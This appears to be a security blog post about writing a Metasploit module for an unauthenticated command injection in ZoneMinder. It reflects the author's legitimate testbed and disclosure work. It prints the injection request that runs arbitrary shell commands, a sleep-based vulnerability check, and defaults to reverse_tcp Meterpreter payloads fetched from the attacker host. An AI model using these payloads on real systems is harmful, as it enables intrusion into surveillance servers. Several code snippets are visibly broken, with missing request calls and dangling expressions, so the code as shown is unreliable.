Contributing a Metasploit Exploit

12 November 2023

Metasploit Logo

One of my daily work is to create testbeds to test defense mechanisms. As a result, I am constantly watching for vulnerabilities that I could use in such testbeds. In February 2023, someone discovered a vulnerability in the open-source surveillance software “Zoneminder”. It was a command injection vulnerability that an unauthorized attacker could trigger. Since there was only an advisory on Github without any proof of concept code, I created an exploit and contributed it to Metasploit. I learned a lot about developing modules for the Metasploit framework, and this article summarizes my experiences. To give Zoneminder administrators enough time to patch their systems, I waited more than seven months from releasing a patched version of Zoneminder before releasing this exploit.

Generating Payloads like a Pro

Using the Metasploit framework has lots of advantages. It is a framework for exploits and, therefore, has supporting features that come in handy. The most apparent feature is generating payloads. When done correctly, Metasploit can generate different payloads for different environments. All the user needs to do is define the target platform, architecture, or payload type.

Only a few commands and configurations are needed to get a proper set of payloads to use. The following config is the meta-data of the zoneminder_snapshot module:

        'Platform' => ['linux', 'unix'],
        'Targets' => [
            'nix Command',
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
            'Linux (Dropper)',
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
        'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ]

As we can see, the module supports two platforms: Linux and Unix. There are also two targets: The ‘nix Command’ lets us choose command payloads. Examples of such command payloads would be any fetch payloads that get the payload using curl or wget and execute it. Other examples for command payloads would be a python-meterpreter-payload that runs python payloads by calling them with the python interpreter on the command line. Next to the ‘nix Command,’ the second target is ‘Linux (Dropper).’ Dropper payloads always download the payload before executing it. These payloads always create artifacts on the target. We choose the execute method by checking the target type inside the exploit method:

    case target['Type']
    when :unix_cmd
    when :linux_dropper

According to the Metasploit Documentation we just have to implement the execute_command next:

 def execute_command(cmd, _opts = {})
    command = Rex::Text.uri_encode(cmd)
    print_status('Sending payload')
    data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
    data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'data' => data.to_s
    print_good('Payload sent')

These few lines of code give us the power of the Metasploit payloads, and we can choose between multiple dropper or unix_cmd exploits. We can also pick one of the fetch commands and define which command flavor we prefer.

Setting the default payload

I needed help to find the proper default payload. My first attempt was “payload/cmd/unix/python/meterpreter/reverse_tcp”. This payload does not write the shellcode to disk but executes it in memory using the Python interpreter. However, one cannot assume that Python is installed at the target. That’s why the default payload for the zoneminer_snapshot module is now “cmd/linux/http/x64/meterpreter/reverse_tcp”. This payload is an HTTP-fetch payload, which is first downloaded using HTTP from the attacker host and then executed.

Check if vulnerable

Another interesting problem was that this unauthenticated exploit couldn’t read the version string. I had to find another approach that allows me to check if a system is vulnerable. I used the method used by many pentesters if they test for blind SQL injections. Since the blind SQL injection does not respond with an error, the tester sends a sleep()-command and evaluates the response time. This method also works here. We can forge a sleep command as follows:

data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"

If the request takes at least as long as defined in the sleep_time, then the target is vulnerable.


How do we measure the response time? My first attempt was to simply invoke before sending the request:

    start =
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'data' => data.to_s,
    if sleep_time < - start

During the reviews for the pull-request, the Metasploit-team told me that there is a builtin function for such time measurement:

    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'data' => data.to_s,
    if res && sleep_time < elapsed_time

Using Rex::Stopwatch.elapsed_time, we can simply write the request inside the block and the duration will be stored in the variable elapsed_time.

Other useful methods and functions

During the PR-review I also learned that it is not necessary to wrap send_request_cgi inside a catch-block. My first try looked like this:

      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET'
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")

send_request_cgi does no longer need to be wrapped in begin/rescue. ConnectionErrors will be rescued automatically.

I also find the print_status(), print_good() and print_warning() functions useful to give the user informations, or simply print debug-messages during the development.

To indicate if a target appears to be vulnerable we can return the check-function as follows:

return Exploit::CheckCode::Appears

If we know it for sure, we can be more confident:

return Exploit::CheckCode::Vulnerable

Failing with messages can be done with:

fail_with(Failure::UnexpectedReply, 'Unable to parse token.')


To summarise, I can say that the Metasploit framework offers great functions that simplify the writing of exploits and enhance the quality and reusability of the exploits. The Metasploit team did a great job during the PR review, and I learned a lot from them.


  • Metasploit Logo:
[ Security  Programming  Ruby  ]
Except where otherwise noted, content on this site is licensed under a Creative Commons Attribution 3.0 Unported License.

Copyright 2015-present Hoti